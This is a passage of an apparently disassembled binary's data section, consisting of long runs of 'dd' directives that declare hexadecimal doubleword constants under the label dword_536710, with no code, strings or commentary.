		dd 0AABCB45Fh, 0D63CC02Ah, 97A2BDBDh, 0F5C004E6h, 1F001C3Bh
		dd 179A2D61h, 0D04801CFh, 0AE4B9CCCh, 277E09CAh, 9FF6CC18h
		dd 9D2C8C60h, 0C8014E1Ch, 0EA4E90DEh, 0F8A56FBCh, 1E8EB1E7h
		dd 0EFED5992h, 24804434h, 0B88C1BB2h, 19F70454h, 0A90AF263h
		dd 818ED19Dh, 164C6856h, 0D11EE23Bh, 329F4FF6h,	9B60EF5Ah
		dd 13F50A07h, 1D3F76Eh,	7E6D9222h, 0B7003E72h, 6F75BD55h
		dd 3194B07Ah, 405A08E5h, 21ACCCFAh, 375DEE26h, 0D701D402h
		dd 4B270062h, 7EBD661Bh, 65C3006Dh, 108E941h, 76E8DE5Ch
		dd 0EAFC84ABh, 0B9BE2634h, 0CAFEA586h, 0E0E225C9h, 1259BDE8h
		dd 8637CB75h, 0E9270D2Ah, 5C400499h, 0B596E4EFh, 667B341h
		dd 4EBF347Ch, 31E1F10Ah, 1C29629Bh, 0D52713F3h,	0DD97CC9Ch
		dd 0AB503634h, 408A7A3Bh, 0A018BB63h, 0FA3DB868h, 4AA8F630h
		dd 7B019228h, 0FE2D03F4h, 87FF259Ch, 2DB1F1FBh,	6AE62897h
		dd 36EB5D01h, 798B4A04h, 81AB2124h, 0D3E4845Eh,	0FB78E9E8h
		dd 0A318E8BDh, 0D1335074h, 25660BC2h, 15FE1ABFh, 1CD008A0h
		dd 5A415614h, 0EA2431EEh, 1676C479h, 1CF20130h,	7E8931ABh
		dd 32EE0420h, 90A12B8h,	0D8F9DD5Eh, 5947D16Bh, 0DAAC7F87h
		dd 0F8BEDDDh, 3F83845Eh, 48219546h, 6A18CB80h, 0FDF28042h
		dd 310AF710h, 9F41B940h, 812FD14Eh, 26C0F92Ch, 0B3662D23h
		dd 637CE912h, 0E0C46AB8h, 5172AF2Ah, 0C331624Eh, 32A99889h
		dd 0AA204B98h, 4FE92B88h, 0EED4C5E1h, 40665738h, 0CF3C802Bh
		dd 6736163Ch, 13E68EFCh, 16F7BB1Ch, 19A44C97h, 51150417h
		dd 0AF5C0119h, 0C0193CDh, 52D1585Bh, 57E220h, 452FCF7Bh
		dd 4AF0E581h, 9922F124h, 0C055BF02h, 1F00DD66h,	2801A4B9h
		dd 0B8EDDF5Bh, 4808ED5Ah, 42AC14AFh, 430680D4h,	0B78925B8h
		dd 242F66D6h, 0ACAECAAFh, 0E033CBD2h, 11335BFh,	5517D6Dh
		dd 0C6019B8Ch, 0E22006F0h, 0E42B753h, 32814B40h, 0A320A728h
		dd 0F92FD041h, 5EAC07F1h, 5DE23AC7h, 0F5B1A0B4h, 4CE60844h
		dd 624C504Eh, 0E9CE0B76h, 0E4CF440h, 0AC1F6ABCh, 82FE7B62h
		dd 748AF861h, 4A2DB127h, 4E1F5820h, 696F430h, 6C7B6D1Eh
		dd 95F6248Dh, 9D0534D8h, 7FFC7044h, 493F0841h, 0DBF8F4FEh
		dd 9D156C20h, 0B175F662h, 0EA14C6FCh, 0A2D0EEA9h, 0E516A84h
		dd 4E894ADh, 43E750B9h,	0D3551FBEh, 0CE1A1E9Ch,	39243129h
		dd 505D0149h, 21705FCFh, 90A316B2h, 0E936B0BDh,	0D403954Ah
		dd 0DB56FE68h, 0C851D155h, 32015606h, 0B92FAD12h, 4D009BDh
		dd 27F2B531h, 0E791C11Fh, 0D6ACDE12h, 0D47ACC4Bh, 290E1DBEh
		dd 43C7EBF7h, 0B076E7CEh, 0A54D950Ah, 76E9F331h, 53660C3Fh
		dd 5180CE36h, 60E47EB1h, 685211CBh, 0E2A9231Ch,	5B9809Bh
		dd 8A00EB9h, 3DD99559h,	0E2C305E9h, 0B2EBE052h,	64804C88h
		dd 5D808B0h, 0B7434A26h, 0CC17D666h, 0E9F0C5FCh, 868050E4h
		dd 0F2FE7DD1h, 0E66B4AFh, 0BBEE1C0h, 0B983A91h,	0C2276866h
		dd 0E938A10Dh, 85BB16A9h, 4798863Ch, 5107485Ch,	0E824FF68h
		dd 22F1DAADh, 77F601EFh, 5533714Fh, 217D0C1Dh, 24658C1h
		dd 389CB4A0h, 0A8FDA09Fh, 482890B4h, 0F417A4ECh, 0E1C9D172h
		dd 1EEBE458h, 5ED1CBFEh, 2BE351C1h, 4B763AABh, 2D2620F0h
		dd 0C0BA2D1Bh, 56501956h, 0DEBE2EE9h, 786CA5C9h, 41EE5497h
		dd 3A2DFE84h, 986A039Dh, 785AC145h, 0E3A420FDh,	68570185h
		dd 69141E60h, 0A4B2012Fh, 3F96EBE1h, 402808E4h,	0B81466BFh
		dd 1ED97891h, 10B58C5h,	2DBD60E8h, 29EAA01Bh, 0C305F8D8h
		dd 1439680Fh, 0E4A2306Eh, 2D8D1D06h, 330A2089h,	4212A2DEh
		dd 0C645FF09h, 0E2D9814Bh, 0B952043Fh, 5C82BB1Fh, 0BC0F631h
		dd 9E7559CBh, 484990A6h, 11261EBAh, 4E582B9h, 0AE42DDF7h
		dd 54122CD6h, 0FC6D9DAFh, 0E49D091Fh, 0B587F0CEh, 0FBEF75A0h
		dd 0B95ED7BFh, 0A13AE3A1h, 0E798F3FEh, 0A4C42AEh, 2037BCAh
		dd 0D1E96444h, 0C6EF266Fh, 5E7025F0h, 9D05CC9Fh, 0E3161075h
		dd 0D07BC70Ah, 0C578293h, 2E8B5A04h, 0C955E769h, 0A6CCA36h
		dd 81EA8001h, 7E5AD488h, 0CC4ABB1Eh, 0F516A503h, 82B85D80h
		dd 670C0D2Ah, 3E0B86BBh, 4BADFEE4h, 0CD7DD16Dh,	0C78300D7h
		dd 187E9502h, 26376452h, 8B282968h, 9E414BE9h, 84D04431h
		dd 0E460FE37h, 256D27E3h, 42E07C3Fh, 0BC3FB850h, 73E5CAD6h
		dd 0AA05056Bh, 0CD8CBBD3h, 0BEE140FCh, 5932790Ah, 9660C011h
		dd 2EC80EADh, 3E86F089h, 219850A0h, 14103409h, 3F595C4Ch
		dd 48F19F18h, 3C4EC868h, 28ABD531h, 6130C704h, 6009722Dh
		dd 51D782Fh, 0CFD27CA7h, 0F7127CCAh, 0EB9B00D7h, 2938DC51h
		dd 25505E82h, 0AD42C7FDh, 0C2E91F01h, 0FD5A0235h, 6F258BAFh
		dd 609EC755h, 2E1DD0F2h, 989D525h, 87470593h, 0C28015D0h
		dd 0D7303E53h, 13DAF6B9h, 0CD81AE64h, 0E87EE820h, 969CD220h
		dd 4671B702h, 947BDFE9h, 7441E9C2h, 0A3B30B02h,	7F9D4EF8h
		dd 0F1A10794h, 0D5C87FF8h, 548C49E9h, 2C365C31h, 0B7B47816h
		dd 14CD35B4h, 64DCCD7Eh, 233F2DDFh, 1458559h, 71605D0h
		dd 5F8870B4h, 2434ABAFh, 6812ADB6h, 0DEEBE844h,	9A4E8F09h
		dd 629A7598h, 0FED3207Fh
		dd 9970BCE9h, 76DA25F6h, 1D8C7AFDh, 5B012568h, 0AB88A17Bh
		dd 515A1456h, 0EEB02B16h, 4BABBF88h, 0CCC9ABB6h, 24149295h
		dd 0F7D4EE4Bh, 0C1A865C5h, 26134A80h, 7E955812h, 10242446h
		dd 0D128014Fh, 39C1805Ah, 0FC03C260h, 8CC695F6h, 0AC5DA0F0h
		dd 5D5E0529h, 40B11FD0h, 0B1243BF4h, 17910C4Bh,	160BBE0Dh
		dd 0FF409073h, 2D7A10C0h, 1072FA31h, 0FE6CDFE9h, 16C5BA00h
		dd 0CA812970h, 0C20ABB09h, 1FEDF04Dh, 12DA23Fh,	0FC5C54E2h
		dd 8F8C2F24h, 0B2ED40A6h, 4828D0B7h, 0EC7974ACh, 959D5CF2h
		dd 9F61B72Ah, 0B5CD19A5h, 109DADFh, 0BFA60B7h, 0B29CF8DBh
		dd 4A9F4D2Ch, 15F1012Dh, 2D071B08h, 12E43860h, 59707812h
		dd 4007FC10h, 8F97F887h, 0BA52A0A3h, 48914746h,	0BD05D13Bh
		dd 0BB760B10h, 4CB371Bh, 185AB6E8h, 0A8BDC23Eh,	2A885E69h
		dd 59C8E381h, 5961E78h,	0B322A8F2h, 0CCE98352h,	0A6EA8448h
		dd 7C6C2DB8h, 677727D0h, 25BE287Ch, 39F622D7h, 9DABA378h
		dd 0DFE91FF4h, 7F272AE5h, 0AE9F9A1h, 66342B32h,	0FE57328Ch
		dd 397EEB82h, 223CF888h, 6CB7F3B5h, 80BE068h, 0C67A1868h
		dd 6BA3E098h, 82012E36h, 8238BB53h, 89D30157h, 0FCAA8503h
		dd 0C2511E0h, 66A60257h, 0B517742Ah, 4C05F1E0h,	0AEE1095Bh
		dd 3AE52B60h, 0D4937B12h, 0C45BD4D1h, 0F4B52098h, 69B8EB0Dh
		dd 820B9B6h, 0D2E2595Fh, 899C03CEh, 0FF89313Bh,	0D60284D8h
		dd 0D15AA60Bh, 0B30757E8h, 9420D2A4h, 0E7E02A6Bh, 0B41A5E9h
		dd 23A2F47Bh, 0FEE5282Eh, 59EF88C1h, 0C621EB2Eh, 443B4868h
		dd 6428E2h, 0CB7A72BBh,	2EF8B716h, 8B795290h, 0D2FC464Bh
		dd 0EA99B600h, 0DB23E950h, 0F227ADB2h, 20E25A5Eh, 0CAE81188h
		dd 60BD109Dh, 2B588127h, 5D234BEBh, 4AE9072Fh, 48DD2DFh
		dd 720B74C1h, 0D5C1AB2Eh, 0DA041137h, 52E91C32h, 923EF165h
		dd 474D7A8h, 6CE8F4FDh,	0B9F3513h, 4A09BCFCh, 79D057D7h
		dd 0AE3F9409h, 0DACD609h, 7EAB61ACh, 5528FACDh,	23D93C60h
		dd 81BE438Ch, 1256C296h, 1A5C22EEh, 9D907075h, 5D69D159h
		dd 2AB9B5A0h, 0E6810951h, 493F0D10h, 74022627h,	96004965h
		dd 0DC53FEAFh, 344C315Dh, 9CF6A5DAh, 2522A71Ch,	240B6D75h
		dd 0C777A708h, 0D7BA275Ah, 93F6E577h, 92F2A297h, 0D4C16B1Ah
		dd 848BCF30h, 769D3870h, 30577A56h, 626E68CDh, 0EAF73D19h
		dd 35257709h, 17B4EC8Dh, 130B5804h, 8901FD53h, 0C04CB422h
		dd 54B75AD4h, 167E2D4Dh, 15E99F05h, 5AF46BBh, 782F5B3Eh
		dd 0E1F5F4DEh, 2B6DB868h, 0C8099F67h, 0BD5EF36Eh, 7F49A476h
		dd 0DF110930h, 0D0C9E7C0h, 0F62FE252h, 0F276B5B9h, 92449B65h
		dd 16AACB04h, 4266B04Eh, 6CAE2AE1h, 4904C137h, 5743897Ch
		dd 11FB4180h, 812C4EC0h, 2ADA0E7h, 6A607558h, 0D1975786h
		dd 0A8D38C01h, 62FC5D20h, 0BE0CB161h, 1EF510D5h, 0C355B4E8h
		dd 0B5E18030h, 12FC63C3h, 1FAA312h, 9235E4E6h, 89377166h
		dd 0D7A268EBh, 0F9ADF551h, 0A0539286h, 8C13B913h, 161E5A77h
		dd 68C9B025h, 21355470h, 277E9554h, 77EE8189h, 0BFD6962Bh
		dd 0D0BA1234h, 0CC98E9A5h, 0DB315795h, 2C7C7510h, 4F21B19Fh
		dd 28E959D4h, 0E13A84Dh, 27732FA4h, 1C93CBC0h, 0E9794FC9h
		dd 0B4B8D3A8h, 0F6971831h, 5DC23B13h, 0DF7255F4h, 0F62FF3FAh
		dd 3D6E5CD5h, 0F95DB513h, 35F78B3h, 4DE9402Ch, 5D2D1ECFh
		dd 6807E54Fh, 750B4EA6h, 0E989044Dh, 5BE9D0BCh,	85882950h
		dd 0BBFDE9B7h, 3ACD8240h, 2C148C73h, 256DDF7h, 1FCE7F83h
		dd 5C1B4740h, 0C68C230h, 129259CCh, 0BEE0131h, 0D55E20CDh
		dd 8D0B5C88h, 0D458A906h, 0ACFA79Ah, 5AE76180h,	0E82FC828h
		dd 0CBD29EF4h, 0AB3EDDF1h, 93D3529h, 920812D6h,	0D3575238h
		dd 0C40A62D1h, 27825975h, 0C320E150h, 0C29ABE19h, 3D2C1F27h
		dd 748A9512h, 0C936662Ah, 179DBB09h, 0E197051Ah, 0D4BCD7A5h
		dd 0B9A9AA24h, 0C1807586h, 84AF635h, 0DF1AEEF4h, 1E6E740Bh
		dd 2D9DF9A4h, 62896DE9h, 0FE6890FFh, 1BDD95A6h,	701DD250h
		dd 7EB90F41h, 0F7A5084Ch, 0DD91C2D9h, 729F3DDAh, 0F295975h
		dd 9523C816h, 0D1C708B4h, 0E5127F27h, 6816E1C4h, 9D883687h
		dd 5A83CEBDh, 2858E202h, 75440B7Fh, 0B6072AC5h,	0B13152F9h
		dd 0FD60F028h, 4E89BDE6h, 0C13471D5h, 2EF2CEE9h, 3AEF595h
		dd 0D339F4Ch, 995DC2C4h, 75277D76h, 344CCA31h, 0B70BB992h
		dd 400CC162h, 26C20EEDh, 547534Ah, 86CBD1Eh, 53DD4C8h
		dd 3FF05946h, 206A8109h, 55CADA3h, 4D67F428h, 212F22CAh
		dd 0B8815C04h, 5F5B27F5h, 0BB044A44h, 7E5A4979h, 61695C2h
		dd 952CEE66h, 0AB6823ACh, 85AFE27h, 0B901DED8h,	551E02F8h
		dd 0BE5BEFE8h, 29B6890Ah, 0B59B1657h, 0E99FF1F9h, 28BBD2D6h
		dd 0B260FE18h, 4F9DED17h, 0C2B6E71h, 643023E2h,	0CD59E000h
		dd 37D0BF7Ah, 0A98CB5B2h, 3D68BFA1h, 0CD2C17CEh, 0D4C3CEAh
		dd 658A1213h, 5E5545C1h, 2F348B6Fh, 58D401EFh, 1860C329h
		dd 1200030h, 64BA523Dh,	9AC35F2Ch, 0D80CA4C2h, 946DE9A9h
		dd 75D131Dh, 15278B79h,	0D794BB1Bh, 185A0809h, 97B10502h
		dd 2185DBFBh, 0D1FB58C3h, 2F1DF2D5h, 0E90B1A8Eh, 93D20137h
		dd 0F1F804D2h, 1D76FC4Eh, 0F16034Dh, 0B85B1FBCh, 502EB23Eh
		dd 0E7C0004Fh, 0FBB45007h, 0E848B151h, 2C3539F6h, 0EA402CC2h
		dd 90745509h, 155A3532h, 0BA61E4Bh, 48734DD5h, 8DAFB112h
		dd 2F002ABEh, 55595B08h, 0D678BF5Fh, 3E88D7B4h,	0A0604C43h
		dd 4954DC97h, 571C6A7Fh, 0D1E2DA7Eh, 4EDB55A4h,	17ACB0BFh
		dd 251696EDh, 4C5D4960h, 0ABF8B741h, 9550DAB5h,	0F1A4A6CAh
		dd 98B3FB50h, 680BF0D9h, 0CF6816BDh, 4578C1B3h,	6A4EE39Dh
		dd 851485F1h, 4B97FFB0h, 0A165FC61h, 0B8032FEAh, 41F4C2C7h
		dd 3E887E0h, 0BE4A7C07h, 70358204h, 29041EE8h, 0AE57E9C6h
		dd 0EBF0FC4Eh, 0B2CB2052h, 90D328F4h, 0F87EBFE5h, 2857FC49h
		dd 0F8635BD3h, 0F525D388h, 0CE61D289h, 3DDAC53Dh, 0D6265760h
		dd 4AD0F9B7h, 0CFE9272Fh, 5B333C15h, 6634F2CAh,	0ABB3C573h
		dd 0CFEFC484h, 0C0050BCh, 78B9B780h, 4E275952h,	0D4D6AD5Ah
		dd 4F9C01C4h, 0EAC12847h, 0F530FFF3h, 26028474h, 0CCF2D601h
		dd 919D5CDDh, 0CE522225h, 4683DF59h, 0A486A43h,	4953DE6h
		dd 0EDE9D129h, 0FA7F11ACh, 11BC0BCBh, 0DC604EE1h, 4D0512C3h
		dd 0D8311074h, 0F23D13FBh, 4856279Dh, 0EF7EF0Dh, 105160Fh
		dd 5F5C0AD2h, 55993B69h, 6FC629E8h, 0E0B2FF97h,	0BF3BC7CBh
		dd 93192824h, 97CCAA59h, 0E3315B1Bh, 49578FB2h,	4605FC51h
		dd 6CAB266h, 0D43406C3h, 2D680C28h, 9DF574E8h, 3E98AF6h
		dd 0C2C96F4h, 937EC80Ch, 0B9F9C35Ah, 0ECD3258Ch, 75FBA25Ah
		dd 2633BEC2h, 0A03FD82Dh, 0E8010078h, 1CD1B951h, 619D23BFh
		dd 1AF4D294h, 0E41605Ch, 4F0464FBh, 0DD938997h,	94578C62h
		dd 52582EE8h, 388709A6h, 0A249F051h, 0AD03EA5Ah, 0A7E5F1B7h
		dd 1C2D948h, 0AB24B7Dh,	2103F92Dh, 41BA6809h, 0D769AC07h
		dd 0BAB0F524h, 1FD0ABBh, 0B6C18171h, 8452385Ah,	4A7FD90Ch
		dd 0E605B4BCh, 0AB479818h, 0A8F9DDC1h, 4B04EC05h, 0B74D38CFh
		dd 0C5F559CBh, 99D7466Fh, 0C4325F49h, 0C10260BDh, 7AFF03E1h
		dd 428C149Dh, 1E16E71Dh, 0A179B81Ah, 2C2F5AD5h,	11A0025Bh
		dd 0C12DE9DDh, 2E851E14h, 0A262BA76h, 4853E8C1h, 91134451h
		dd 4936E07Ch, 6ADAC0B7h
		dd 1CE9122Ch, 0ABA125CCh, 0D50CCB5Ah, 0E5E9D7A2h, 0D929A6F5h
		dd 114E10C6h, 62831039h, 47755727h, 8950A5C2h, 2F591B05h
		dd 0B0804B6Dh, 610AF5B8h, 31C10C64h, 0CBF8811Ah, 12FE025Fh
		dd 4924016Bh, 2E57116Bh, 74885EC4h, 11D16FCh, 0D10912DFh
		dd 2A5BF23Dh, 63A05CCh,	0E92B2037h, 0D7951B1Dh,	0B9C4999Ch
		dd 0FDAC9BE9h, 27779F40h, 0B0D4555Ch, 2387108h,	50B76858h
		dd 0FC291877h, 52488203h, 414BE86Eh, 9902728Bh,	1489777h
		dd 0DB5B16D6h, 134241C7h, 0C073F23Fh, 70883310h, 0AE7B5EE9h
		dd 6C68E930h, 62FEA955h, 0DA32102Ah, 5F53F61Ah,	6CA6C877h
		dd 59272586h, 52A6D882h, 4AD31C5Fh, 8989E258h, 8927B156h
		dd 222BA661h, 0DA7F5B78h, 2D239DDCh, 7AB26511h,	0CF062EC1h
		dd 0F94002CAh, 4B2836A7h, 5A50863Ah, 3C3DB77Eh,	3458BE6Bh
		dd 88AF12F7h, 35E5FCE0h, 2177DA6Fh, 0EBC15947h,	52F35281h
		dd 201E2448h, 6F132910h, 90FB4D28h, 0C4EF80A0h,	809560F0h
		dd 57F70514h, 0F467520h, 2AAE0FA7h, 90D94AE5h, 81B35367h
		dd 93B6E3BFh, 0F0A63ACh, 80857EF3h, 0E90F2C55h,	0B108322Ah
		dd 22CDDDFFh, 28F16BCh,	3DA09008h, 24C87728h, 0C00A5570h
		dd 2ABB6DE7h, 3B0B99B0h, 7EAD2Fh, 16642EC1h, 1EB8A16Fh
		dd 9741FEF0h, 0EF3610FDh, 8267094Bh, 5C785737h,	4DE95F0Ch
		dd 9FC3213Bh, 16951072h, 0AA9F98EDh, 0BF4BC0F7h, 0BE220007h
		dd 91E7815Ch, 7B76C412h, 41CCF701h, 0EFD160D8h,	0A830F420h
		dd 12EB80C2h, 0ADA88DEh, 422D0A8Dh, 5804E123h, 0B8378F8h
		dd 0F8AC0313h, 0B3EC6024h, 9E29686Dh, 0DB557A46h, 0D62712h
		dd 0BD08D852h, 5E25499Ch, 773C1250h, 0B5A28A82h, 0CB544EDDh
		dd 9D73AE18h, 0EF133A00h, 0FAED8126h, 3D330064h, 0E5D1D5F7h
		dd 3C4BCEE9h, 24CAF5FCh, 55F0AFF8h, 883D460Eh, 0CAF5C00Ah
		dd 0F8188E21h, 31F874CDh, 0FB181FFFh, 3B7FD99Dh, 0D6CE88A1h
		dd 0D54C2D5Fh, 1AB2682Dh, 0FAE489A2h, 5ACA77FCh, 0AAA31259h
		dd 933FC6D9h, 5720122Dh, 515C2587h, 0BE4F04A2h,	3E03C20Ah
		dd 0D9662363h, 0D7660757h, 1633D110h, 0C417295Fh, 5A5A10F4h
		dd 82C3D42Dh, 0BE0335AAh, 6073F2B0h, 17CEC6E4h,	0AFE172CFh
		dd 7AB60D90h, 1E2A60D9h, 5BB83E47h, 0C8A94E4Ah,	0BBA77E01h
		dd 9A65E987h, 50B733F5h, 0D0852A6Eh, 436813BAh,	28F0602Fh
		dd 0F4907C29h, 0B40FEA20h, 12C4E2C0h, 472F2557h, 8306DB0Bh
		dd 0E861261Fh, 0B2D3E972h, 47B1375Eh, 50018D4h,	57DF6A58h
		dd 0A6D84A01h, 0E73013Fh, 0CFE934F2h, 351DB328h, 697ACFA5h
		dd 5318E845h, 700FFFC7h, 6296ABBAh, 4325C5C4h, 5D93E955h
		dd 7211EF12h, 0E14D8DCCh, 2EFC3D7Fh, 2C97EB9h, 0C08177C2h
		dd 0E29D2A49h, 0D45C786h, 27CDF0BFh, 0D1D32543h, 5F18DF27h
		dd 12BD3E51h, 0ACAEF5ECh, 0B95D8CC1h, 0FC8DB68h, 3E5E2D72h
		dd 0DD5860ECh, 823AAB40h, 2F46E760h, 3E181E31h,	0AE384307h
		dd 146C0400h, 0E9D8291Ah, 7660952Ah, 54B554Ch, 41973B40h
		dd 703DC4Ch, 12AC5BE9h,	0BD07FE53h, 0EB048DF5h,	5FCB9CE4h
		dd 0CC09EDE1h, 9AF725Dh, 6617B410h, 68E89A5Fh, 5E36C86Ah
		dd 4F1AB205h, 5E1FBEA9h, 5F896DE9h, 8AC103C3h, 84FB0414h
		dd 960BE265h, 45C2B991h, 0D267E22Bh, 0B181F3B9h, 20255140h
		dd 620428E4h, 2FE90A39h, 0ED6F7CB1h, 75E9F058h,	0B659954Bh
		dd 3BE668C1h, 70E5676h,	2D40662Bh, 416A39DEh, 3500E6BCh
		dd 310D226Fh, 0B14B2FE9h, 4961815Eh, 0FE30AF32h, 41074AF7h
		dd 167FC757h, 0CAF56457h, 273C342Eh, 0C3055F26h, 83C00746h
		dd 9D80DC2h, 0D5297ACEh, 0B2B44E82h, 0A5A5BF05h, 2BE5BC6Eh
		dd 0F4A7615Fh, 3CD6270Dh, 0D974EF02h, 4C156125h, 8B888B6Ah
		dd 0A93C63D6h, 0A9E9C5Dh, 17A0CD57h, 0F91F615Fh, 33057A2Ch
		dd 0F3EFFB68h, 0E1952DF0h, 0B07E21D3h, 2870EDCDh, 0EC3EFBB7h
		dd 71C1257Ah, 0FE01EA80h, 0FE9AB12Eh, 495D8F42h, 33D8079Ah
		dd 96C89D13h, 0B180AAA8h, 0CB281849h, 0A22E1666h, 0A0BFD3BEh
		dd 88729FFBh, 0B850D8C0h, 5C446A3h, 12383506h, 4809FB99h
		dd 67768108h, 58F2AC17h, 4C2D00E4h, 31DA0CEDh, 45AE9C1h
		dd 0EF89B81Dh, 0BC37408h, 31DFCA74h, 907B55A5h,	0F81035EAh
		dd 632966B8h, 963C13F6h, 9CEB9E8Ch, 434AF625h, 40983B8Ch
		dd 340CBB9Bh, 0C23A273Fh, 0AF042EC8h, 478513F5h, 778166C2h
		dd 364BCFBEh, 52940CDEh, 0C5B4983h, 0B30E468h, 710E6272h
		dd 0D009476Fh, 0B0D59AC7h, 0F3BC0099h, 0FB09F73Bh, 0E1BC0CE9h
		dd 0E5D7B40Eh, 8C89DE68h, 5F1C923Ah, 2967D274h,	0CC17E9D1h
		dd 0E0FB343Ah, 537E5513h, 64338027h, 529BB464h,	4B86595Fh
		dd 30B828D6h, 0E9EB2B01h, 8139C040h, 196E7CC7h,	0C4473B30h
		dd 14DA795Ch, 0C7D7F71Ch, 0CB45180Fh, 46DF29A9h, 90FAF058h
		dd 6ABB41B6h, 99877683h, 8BFD1F7h, 9DE61117h, 80E40823h
		dd 215DD9A8h, 27FED84Bh, 2DEAEE4Eh, 9258BD6Ah, 3391680Bh
		dd 6AB710C6h, 62527788h, 0CCB35850h, 4B8159BDh,	90B6105Dh
		dd 0C8129FC3h, 73600260h, 687C9801h, 0CF74EED9h, 0E0023161h
		dd 906EA9Eh, 0A829D7D2h, 6955D95Dh, 4709FE01h, 0E1F7CAE8h
		dd 840C3B3h, 0B6AF34E9h, 26834A8Dh, 0B15D1332h,	8BA26A01h
		dd 0A9EBE88Fh, 0C9BF43D0h, 99349DB4h, 826B65Eh,	0E5395954h
		dd 40FB5FACh, 52796EFAh, 8F48665Eh, 9A131255h, 0EC9CD9EBh
		dd 0DBAAE2BBh, 44199948h, 4CEEC9C0h, 9818C314h,	33E01340h
		dd 276005CEh, 175753DEh, 43D6ABFBh, 7E0E02EEh, 0D3F77602h
		dd 67BE1D7h, 28D29082h,	0BDD0237Bh, 57586815h, 7AD982E3h
		dd 4D3C608Fh, 0C74FC917h, 3AA83BDCh, 9E9AB8FAh,	0DA825C9Dh
		dd 0F9D177h, 0C7FED6B7h, 560EFC0h, 7FE90806h, 13F191A3h
		dd 4BEDF9BAh, 0B4051DC0h, 1D9F0563h, 856F829h, 0DE30F0C1h
		dd 62EF7B46h, 0B47C91C8h, 0CB96800h, 2E5E65B7h,	0DE79BEA1h
		dd 15DC4940h, 0B46A50A3h, 0D1120093h, 6E6C149h,	0DF9D464Eh
		dd 3D8DAAAh, 4D405D7Bh,	2A0A9AD9h, 381394A6h, 2589EEFCh
		dd 4F160730h, 0B5F4771Ch, 2DB8403Eh, 7CD94764h,	0FFBC29Dh
		dd 53FF9207h, 96A0ED42h, 407990E4h, 48905341h, 54DE2C27h
		dd 2DDB09ADh, 0DF4E1F66h, 1C0CCAAh, 0AC68C209h,	7A1CFC1Ch
		dd 0D89A6CAh, 681E31E7h, 0DEC76398h, 48F9BDFAh,	0FEA6B382h
		dd 13B1DDCBh, 0F0162A8Ch, 55338AABh, 69FB3B7Dh,	29443B87h
		dd 0E6BE987Ah, 12BF5BA9h, 0AB75EBF0h, 8644A3F7h, 0FAF54A6Dh
		dd 5AB2A138h, 800EF219h, 0E1E5E867h, 0DF220E9h,	92F8283Bh
		dd 29AF4761h, 48A2FFFh,	0BFA5E212h, 1C20F48Fh, 9650E33Fh
		dd 539C543Dh, 92A4F855h, 0F56650B2h, 0DB5CB746h, 37398931h
		dd 2FD4CA3Ah, 0E095E884h, 0D8F19597h, 171BD788h, 538513ADh
		dd 2497AED9h, 91C469AFh, 843EC9D3h, 1F74BCD3h, 41CAD331h
		dd 7B0268EEh, 0FF0C1348h, 4F6778A0h, 0D895BAEFh, 16BD0A1Dh
		dd 17C99ABFh, 4CAAF3F5h, 480A2F40h, 75B450EEh, 13E358F4h
		dd 19510125h, 0D37A99A8h, 60F313E4h, 3F60F8D6h,	0ACCC2F1h
		dd 20E07BF2h, 214B4409h, 6C16D4F8h, 0E431FFDFh,	0BD00AD13h
		dd 312F2A45h, 4537440h,	0EC54F12Fh, 0FF5519D9h,	166E412Fh
		dd 0C48BB3A5h, 0EDF094E9h, 26A19459h, 764702C7h, 0A1C1386Ah
		dd 0CEED3FF9h, 0E2303B77h, 1BB8DE62h, 5501CE46h, 7F344768h
		dd 43A5D45h, 0A71046DBh
dword_536710	dd 715F7B2Ch, 88018184h, 15AF7377h, 0F965A13Ah,	17443893h
		dd 0C9EE3168h, 3C4B603Fh, 0B9BB759Fh, 2802EE99h, 32F2B55Ch
		dd 96C510h, 0D15D5BAh, 58E2C16Ch, 0A03B803h, 5650F30h
		dd 6B1C02B9h, 7173BA8h,	8500E42Bh, 0D7202241h, 0B6749A5Dh
		dd 1836047Eh, 54E68319h, 9DA8BB84h, 0BA74EEF4h,	89C2A7FFh
		dd 0A312D857h, 0ADBD0743h, 0F72BA92Dh, 0D543B27Bh, 4D11A2D5h
		dd 3DBE000Eh, 6901F22Ch, 210FF681h, 0C9D7220h, 66CC4214h
		dd 9CC3DE87h, 0BBF0095Ah, 53E92507h, 14C7DC0Bh,	84E82A0h
		dd 0A6A53DC5h, 824A15E4h, 0B8BBA9FFh, 81021A08h, 0D8272059h
		dd 27CB1416h, 0A7D2D85Fh, 38C3D5B4h, 0E02720EDh, 0DF9350FCh
		dd 0A8BC5D5Dh, 370992C5h, 0F77E3259h, 7C35F14h,	84635068h
		dd 50A4F7ABh, 0A3955ED6h, 19495B48h, 158BE817h,	1CA36C55h
		dd 5AA4FA88h, 64396209h, 403BF0C9h, 80C95C37h, 7127087h
		dd 23F736AEh, 0DC4269E9h, 5D726E74h, 0F95A627Eh, 0F22DF09Eh
		dd 3AAC6481h, 955C0993h, 0B3C8415Eh, 290C9421h,	82FF24DDh
		dd 88446042h, 12B10820h, 0FBEAD05Bh, 2057F4C7h,	0E96CF230h
		dd 0FF486A49h, 0F7B0123Eh, 64257B47h, 5AD6FE21h, 8DB4D1FFh
		dd 40A535E9h, 0E4F23184h, 0FE091F27h, 576B12BEh, 1F71BE70h
		dd 0E0BBC183h, 8956DB2Fh, 2DE9D078h, 0BA663A47h, 5124B299h
		dd 47B53800h, 9D116FE9h, 0D1230022h, 0B878000Bh, 5E54637Bh
		dd 0C3FA0429h, 5052A2A7h, 0B5010838h, 0EF210A14h, 5734A6E9h
		dd 38AE3868h, 0AD8BFA4Eh, 53C1E913h, 13A5F8B4h,	87E34B75h
		dd 4A55B64Ah, 2FD22510h, 88B1D33Eh, 80043999h, 0F5FBC0F5h
		dd 0E1CDE0D9h, 0FF1116CBh, 0D2FC4E8Fh, 12621703h, 0F0F2ADF1h
		dd 4C1C5709h, 9425A55Ah, 0C6017972h, 3EC93BFBh,	3F79FE29h
		dd 0C754DE86h, 495912B0h, 0D4FF93F8h, 0A983D19Eh, 0DACE3FD1h
		dd 0D312CA5Ch, 0BD2B05E0h, 0DC21B5B3h, 0C0825314h, 0B647CE0Eh
		dd 346847FEh, 0B11AAC4Eh, 0E66983E9h, 8100D548h, 64A177F1h
		dd 0CE58212Dh, 580B4C64h, 0B4E31844h, 26EB29EBh, 96F05A5Dh
		dd 7B9AB14Fh, 3E2D058Bh, 2E829309h, 38425701h, 0FC574A4Ah
		dd 9395583Ah, 0D4C74DC0h, 3EC2CFE2h, 0B1A6F901h, 1B1EBA1Eh
		dd 521C0280h, 0D85585B2h, 17CA1C00h, 0D751E7FEh, 52E95D99h
